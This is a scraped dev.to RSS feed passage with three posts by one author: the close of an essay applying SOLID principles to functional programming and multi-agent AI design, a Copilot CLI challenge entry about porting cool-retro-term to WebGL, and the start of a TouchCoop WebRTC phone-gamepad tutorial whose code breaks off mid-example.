&lt;p&gt;Functional programming naturally avoids bloated interfaces because functions inherently have narrow, focused signatures. Instead of passing a God object with twenty properties to a function, you pass only what that function needs. A function &lt;code&gt;(name: string) =&amp;gt; string&lt;/code&gt; doesn't force you to provide an entire User object when all it needs is a name.&lt;/p&gt;

&lt;p&gt;But there's a more subtle connection here that I find particularly compelling: the functional programming preference for unary functions (functions that take a single argument) over functions with multiple arguments is, in my opinion, a form of interface segregation.&lt;/p&gt;

&lt;p&gt;Think about it. A function like &lt;code&gt;(userId: string, includeOrders: boolean, formatAsCSV: boolean, sendEmail: boolean) =&amp;gt; Result&lt;/code&gt; is the functional equivalent of one general-purpose interface. The caller is forced to know about and provide values for concerns it might not care about. Maybe I just want to fetch a user. Why do I need to tell the function whether to format as CSV or send an email? This function has a "fat interface" — it mixes multiple concerns into a single signature.&lt;/p&gt;

&lt;p&gt;Now consider the unary alternative. Currying transforms that one fat function into a chain of focused, single-argument functions: &lt;code&gt;(userId) =&amp;gt; (options) =&amp;gt; (formatter) =&amp;gt; Result&lt;/code&gt;. Each function in the chain has a narrow, segregated interface. But more importantly, partial application lets you stop at any point in the chain and get back a specialised function that only demands what the next consumer actually needs. You can pass &lt;code&gt;getUserById&lt;/code&gt; (already partially applied with default options) to a part of your code that only cares about fetching users and doesn't need to know formatting even exists.&lt;/p&gt;

&lt;p&gt;This is interface segregation at the function level. Instead of one function with a wide, general-purpose parameter list, you get many smaller, focused functions, each requiring only what it needs from its caller. The parallel to "many client-specific interfaces are better than one general-purpose interface" is almost exact, just expressed through function signatures rather than interface declarations.&lt;/p&gt;

&lt;p&gt;Libraries like Ramda take this philosophy to the extreme — every function is curried by default, which means every function in the library naturally presents the narrowest possible interface to its consumer at each step of application.&lt;/p&gt;

&lt;h3&gt;
  
  
  D — Dependency Inversion Principle
&lt;/h3&gt;

&lt;p&gt;This one is beautiful in functional programming. Instead of depending on a concrete database module or HTTP client, functional code often takes its dependencies as function parameters. This pattern is so common it has a name: dependency injection via higher-order functions. Instead of importing a concrete implementation, you write &lt;code&gt;const getUser = (fetchFn) =&amp;gt; (id) =&amp;gt; fetchFn(&lt;/code&gt;/users/${id}&lt;code&gt;)&lt;/code&gt;. Your business logic depends on the abstraction (a function that fetches), not the concretion (the specific HTTP library). The caller decides what implementation to inject.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. AI Agent Development
&lt;/h2&gt;

&lt;p&gt;This is the one that made me want to write this post. Over the last couple of years, I've been spending more and more time building and thinking about AI agents. I wrote about &lt;a href="https://dev.to/remojansen/agent-driven-development-add-the-next-paradigm-shift-in-software-engineering-1jfg"&gt;Agent Driven Development&lt;/a&gt; and &lt;a href="https://dev.to/remojansen/how-will-the-agentic-web-change-the-web-as-we-know-it-23ih"&gt;the Agentic web&lt;/a&gt; previously, and one thing that keeps striking me is how the patterns that make agents work well are the exact same patterns we've been preaching in software engineering for decades. The SOLID principles aren't just relevant in AI agent development. They might be essential.&lt;/p&gt;

&lt;h3&gt;
  
  
  S — Single Responsibility Principle
&lt;/h3&gt;

&lt;p&gt;The best agentic systems I've built or worked with follow this principle strictly. Each agent in the system should have a single, well-defined responsibility. A &lt;code&gt;ResearchAgent&lt;/code&gt; should gather information. A &lt;code&gt;SummaryAgent&lt;/code&gt; should condense findings into a concise output. A &lt;code&gt;CodeReviewAgent&lt;/code&gt; should analyse code for issues. When you build one God agent that researches, summarises, writes code, reviews it, sends emails, AND updates a project tracker, the quality of every single one of those tasks degrades. The agent tries to be everything and ends up being mediocre at all of it. Single responsibility for agents isn't just good architecture; it directly affects the quality of the AI's output. Smaller, focused agents produce better results because the system prompt, the context window, and the reasoning are all concentrated on one job.&lt;/p&gt;

&lt;h3&gt;
  
  
  O — Open/Closed Principle
&lt;/h3&gt;

&lt;p&gt;A well-designed multi-agent system is one where you can add new agents without modifying the existing orchestration logic. The orchestrator that coordinates your agents should be closed for modification. You shouldn't have to rewrite the routing or coordination logic every time you need a new capability. Instead, you register a new specialised agent with its description and responsibilities, and the orchestrator can start delegating to it. The existing agents remain untouched. This is exactly the philosophy behind frameworks like LangGraph, CrewAI, and the Model Context Protocol (MCP) — they let you extend the system by plugging in new agents or servers rather than modifying the ones that already work.&lt;/p&gt;

&lt;h3&gt;
  
  
  L — Liskov Substitution Principle
&lt;/h3&gt;

&lt;p&gt;In a multi-agent system, you should be able to swap one agent for another as long as it fulfils the same contract. If your orchestrator delegates summarisation to a &lt;code&gt;SummaryAgent&lt;/code&gt;, you should be able to replace that agent with an improved version — perhaps one powered by a different model, or one that uses a different prompting strategy — without the orchestrator knowing or caring. The contract is: "give me text, I'll give you a summary." How the agent internally achieves that is its own business. This is also why it matters to have clean interfaces between agents. If your &lt;code&gt;SummaryAgent&lt;/code&gt; can be backed by GPT-4, Claude, or a fine-tuned local model, and the rest of the system works regardless, you've achieved Liskov substitution at the agent level.&lt;/p&gt;

&lt;h3&gt;
  
  
  I — Interface Segregation Principle
&lt;/h3&gt;

&lt;p&gt;When designing agentic systems, it's far better to have many focused agents than one Swiss Army knife agent. You should have a &lt;code&gt;DataExtractionAgent&lt;/code&gt;, a &lt;code&gt;ValidationAgent&lt;/code&gt;, and a &lt;code&gt;FormattingAgent&lt;/code&gt; rather than one monolithic &lt;code&gt;DataProcessingAgent&lt;/code&gt; that tries to handle everything based on a mode parameter. Why? Because each agent can have a tightly scoped system prompt, a focused set of examples, and a narrow context window. The LLM performs better when it has a clear, specific job. A general-purpose agent with a system prompt that reads like a novel ends up confused about which hat it's supposed to be wearing at any given moment. This is interface segregation applied to AI: many specialised agents with narrow responsibilities are better than one general-purpose agent that does everything poorly.&lt;/p&gt;

&lt;h3&gt;
  
  
  D — Dependency Inversion Principle
&lt;/h3&gt;

&lt;p&gt;This is critical in agent architecture. Your orchestrator should depend on abstractions of agents, not on concrete implementations. If your orchestration logic is tightly coupled to a specific agent that uses a specific model with a specific prompt template, you've made the whole system rigid. Instead, define what an agent looks like in abstract terms — it takes an input, it returns an output, it has a description of what it does — and let the orchestrator depend on that abstraction. The concrete agent (which model it uses, how it prompts, what tools it has access to) is an implementation detail that gets injected. Tomorrow you might want to replace your Claude-powered &lt;code&gt;ResearchAgent&lt;/code&gt; with one that calls a specialised fine-tuned model, or even a non-LLM heuristic agent. If your orchestrator depends on the abstraction, that swap is trivial. This is the same principle I was advocating for with InversifyJS years ago, and it's exactly the approach taken by agent frameworks that separate the agent interface from the agent implementation.&lt;/p&gt;




&lt;h2&gt;
  
  
  Full Circle
&lt;/h2&gt;

&lt;p&gt;I find it remarkable that the same five principles Robert C. Martin articulated decades ago for object-oriented design show up, without being forced, in a CSS utility framework, in functional programming, and in the way we're building AI agents in 2026. They weren't invented for OOP. They were discovered as properties of well-designed systems.&lt;/p&gt;

&lt;p&gt;I wrote &lt;a href="https://dev.to/remojansen/the-yin-yang-principle-2ccn"&gt;The problem with Dogma in Software&lt;/a&gt; a few years ago, and I still stand by it. We should never apply any principle dogmatically. But I think the SOLID principles have earned their place as something deeper than just "OOP best practices". They are universal design principles about managing complexity, achieving composability, and building systems that can evolve over time.&lt;/p&gt;

&lt;p&gt;Whether you're styling a button with Tailwind, piping functions together in Haskell, or orchestrating a fleet of specialised AI agents — if the design feels clean and maintainable, there's a good chance the SOLID principles are hiding in there somewhere, whether you invited them or not.&lt;/p&gt;

&lt;p&gt;Thanks for reading. I'd love to hear your thoughts!&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>softwareengineering</category>
      <category>designpatterns</category>
    </item>
    <item>
      <title>Running the Copilot CLI in a WebGL-powered retro CRT terminal implemented by the Copilot CLI 🤯</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Fri, 30 Jan 2026 23:33:50 +0000</pubDate>
      <link>https://dev.to/remojansen/running-the-copilot-cli-in-a-webgl-powered-retro-crt-terminal-implemented-by-the-copilot-cli-297</link>
      <guid>https://dev.to/remojansen/running-the-copilot-cli-in-a-webgl-powered-retro-crt-terminal-implemented-by-the-copilot-cli-297</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/github-2026-01-21"&gt;GitHub Copilot CLI Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;A port of &lt;a href="https://github.com/Swordfish90/cool-retro-term" rel="noopener noreferrer"&gt;Swordfish90/cool-retro-term&lt;/a&gt; (Qt and OpenGL) to WebGL, React, and Electron, and use to make my website look like a cool retro monochrome CRT monitor with an OS from 1977.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://remojansen.github.io/" rel="noopener noreferrer"&gt;https://remojansen.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Please note:&lt;/strong&gt; The site is meant to be used with a keyboard (no mouse or touch controls).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  My Experience with GitHub Copilot CLI
&lt;/h2&gt;

&lt;p&gt;I first had the idea of building a website that looks like an old-style monochrome CRT monitor when I discovered &lt;a href="https://github.com/Swordfish90/cool-retro-term" rel="noopener noreferrer"&gt;Swordfish90/cool-retro-term&lt;/a&gt;. I loved it, but the problem is that cool-retro-term is a native application that uses Qt &amp;amp; OpenGL. I wondered if it would be possible to port the code to WebGL, but because I have no experience with Qt or OpenGL, answering this question would have taken me many hours.&lt;/p&gt;

&lt;p&gt;In the past, I wouldn't have pursued this project because I didn't have much time outside of work, but now, thanks to GitHub Copilot and its CLI, I was able to get a good understanding of how cool-retro-term works and put together a migration plan in minutes.&lt;/p&gt;

&lt;p&gt;Then, over a couple of evenings, I started to migrate the OpenGL shaders to WebGL one at a time, and soon I had a working port 🎉&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcbx3cxn5421j0vtzl9cl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcbx3cxn5421j0vtzl9cl.png" alt="https://remojansen.github.io/" width="800" height="458"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The original project (cool-retro-term) implemented an OpenGL frontend for an OS terminal. My website runs in a browser, so I had to implement a basic terminal emulator, and Copilot was able to do so without any problems.&lt;/p&gt;

&lt;p&gt;Because the rendering was decoupled from the terminal, I thought others could be interested in this as a library, so I released it as &lt;a href="https://github.com/remojansen/cool-retro-term-webgl" rel="noopener noreferrer"&gt;cool-retro-term-webgl&lt;/a&gt;, and I also thought that the most likely next usage would be an Electron-based version of cool-retro-term so I also added that to cool-retro-term-webgl.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Now I can run the Copilot CLI in a WebGL-powered retro CRT terminal implemented by the Copilot CLI 🤯&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrvdwohl760bmcvv9l8e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxrvdwohl760bmcvv9l8e.png" alt="GitHub Copilot CLI in cool-retro-term-electron" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I was very happy with everything that I was able to accomplish in just a couple of days, and quite impressed by the power of the GitHub Copilot Agents together with Claude Opus 4.5. It was then that the fan really started. I started to add all sorts of cool and fun "programs" to my terminal emulator, and honestly, I have not had so much fun coding in a very long time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi3pbpi9ok26suyxbzpqx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi3pbpi9ok26suyxbzpqx.png" alt="Games in https://remojansen.github.io" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There are a couple of fun easter eggs and nerdy references. I hope you enjoy them (maybe you can "hack" my cluster 😉).&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>githubchallenge</category>
      <category>cli</category>
      <category>githubcopilot</category>
    </item>
    <item>
      <title>Turning Your Living Room into a Couch Co-op Arena with TouchCoop</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Mon, 19 Jan 2026 03:11:10 +0000</pubDate>
      <link>https://dev.to/remojansen/turning-your-living-room-into-a-couch-co-op-arena-with-touchcoop-249j</link>
      <guid>https://dev.to/remojansen/turning-your-living-room-into-a-couch-co-op-arena-with-touchcoop-249j</guid>
      <description>&lt;p&gt;Hey everyone 👋,&lt;/p&gt;

&lt;p&gt;Today I want to share something fun. Imagine this: you're at home with friends, the big TV is on, and instead of everyone fighting over Bluetooth controllers or passing around one gamepad… everyone just pulls out their phone and instantly becomes a player.&lt;/p&gt;

&lt;p&gt;No accounts. No installs. Just scan a QR code and start mashing buttons.&lt;/p&gt;

&lt;p&gt;That's exactly what &lt;strong&gt;TouchCoop&lt;/strong&gt; enables — a tiny TypeScript library that turns this vision into reality with almost zero server hassle.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Host runs the game on a laptop/TV-connected browser&lt;/li&gt;
&lt;li&gt;Up to 4 players join via QR code on their mobiles&lt;/li&gt;
&lt;li&gt;Touch buttons on phone → real-time input to the game via WebRTC&lt;/li&gt;
&lt;li&gt;Perfect for casual games: platformers, party games, local puzzles&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Not&lt;/strong&gt; suited for low-latency games like FPS (WebRTC latency is good but not esports-level)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Quick architecture overview
&lt;/h3&gt;

&lt;p&gt;Your game needs &lt;strong&gt;two&lt;/strong&gt; distinct entry points (URLs):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Match page&lt;/strong&gt; (TV/Laptop): Creates a &lt;code&gt;Match&lt;/code&gt; instance, shows QR codes for joining, and receives player events.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The Gamepad page&lt;/strong&gt; (Phone): Opened via QR code, creates a &lt;code&gt;Player&lt;/code&gt; instance, connects, and sends touch events.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both are just static web pages — no backend required beyond the signaling phase.&lt;/p&gt;

&lt;h3&gt;
  
  
  Getting started in 60 seconds
&lt;/h3&gt;

&lt;p&gt;Install the library:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;touch-coop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  1. The Match side (your game)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;PlayerEvent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;touch-coop&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;gamePadURL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://your-domain.com/gamepad&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Must be absolute URL for QR&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;handlePlayerEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;PlayerEvent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;JOIN&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Player &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;playerId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; joined 🎉`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="c1"&gt;// Maybe spawn player avatar, play sound, etc.&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;LEAVE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Player &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;playerId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; left 😢`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;MOVE&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Player &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;playerId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; → &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="c1"&gt;// Here you map "up", "A", "X" etc. to game actions&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;up&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;jumpPlayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;playerId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gamePadURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;handlePlayerEvent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;dataUrl&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;match&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createLobby&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;gamePadURL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;handlePlayerEvent&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Call &lt;code&gt;match.createLobby()&lt;/code&gt; to get the dataUrl of a QR Code that displays a virtual gamepad.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. The Gamepad side (React example)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight tsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;React&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Player&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;touch-coop&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Player&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// Can pass custom PeerJS config too&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;GamePad&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;joinMatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Player Name Here&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nf"&gt;setLoading&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to join&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;})();&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loading&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"text-2xl"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Connecting...&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;;&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"grid grid-cols-3 gap-4 p-8 h-screen bg-black text-white"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
